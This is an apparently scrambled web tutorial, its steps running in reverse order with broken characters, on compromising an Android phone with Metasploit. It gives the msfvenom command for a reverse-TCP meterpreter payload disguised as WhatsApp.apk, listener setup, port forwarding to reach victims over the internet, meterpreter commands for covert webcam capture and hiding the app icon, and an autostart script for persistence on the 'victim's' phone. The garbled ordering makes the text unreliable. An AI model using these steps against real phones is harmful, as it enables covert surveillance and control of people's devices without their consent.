

We need to go to sdcard to execute script.Īfter navigating to sdcard, use ls command to check if your script is there or not. We will do this using shell and commands in meterpreter session.


Our file has been uploaded to victim’s smart phone. Upload /root/Desktop/autostart.sh /sdcard/ Now, just after getting the meterpreter session, we need to upload this script to victim’s phone and execute it. sh at the end of file name as file extension. Save this notepad file as autostart.sh, you can use any name but you need to use. So, open notepad and type following code in it.ĭo am start –user 0 -a -n /.MainActivity We will create an autostart script and deploy it in storage of victim’s phone, just after we get meterpreter session.įirst, we need to create our script. Whenever our victim stops our payload from running we need to again start the payload in order to receive the connection.īut luckily we have a solution for this problem. Use hide_app_icon command to hide icon of our payload app from menu.Īnd much more. Use webcam_snap command to capture photos from camera. Use help command and press to get list of all the commands. As soon as, our victim opens the app, we will get meterpreter session in our console. Step 4- All we need to do now, is wait for the victim to our app. Replace port with the port number in your system that you forwarded in your system or on portmap.io site. Set PAYLOAD android/meterpreter/reverse_tcp So, open terminal use these commands step by step.

Step 3- Now we need to deliver and install payload apk file in our victim’s phone and setup a listener in msfconsole. If you are using portmap.io site for port forwarding use port number given by portmap.io site in lport field. You need to use your ip address in lhost and your port in lport. It will create a new payload in apk format on desktop with name WhatsApp. Msfvenom -p android/meterpreter/reverse_tcp lhost=your_ip lport=your_port -o /root/Desktop/WhatsApp.apk Step 2- First, we will create our payload to deliver to android device, so use below command and press enter. Learn To Port Forward Without Router in Windows and Kali Linux If you do not have a router and wants to make port forwarding task very easy using portmap.io, read this. If your victim is on the internet, you need to do port forwarding for this using your router. If your victim is in the same network in which you are, you need to use this ip address as lhost while creating payload and setting up listener. Type ifconfig and note down your ip address. So, without wasting too much time let’s start. In this tutorial, we will learn how to hack android phone remotely using kali linux make it persistent.īut now, we will use Metasploit framework in Kali Linux to hack and compromise the android device. If you doesn’t know about this go to below link to learn it because it’s very easy. Those who visit our site, already know how to hack android phone remotely using Spynote RAT.
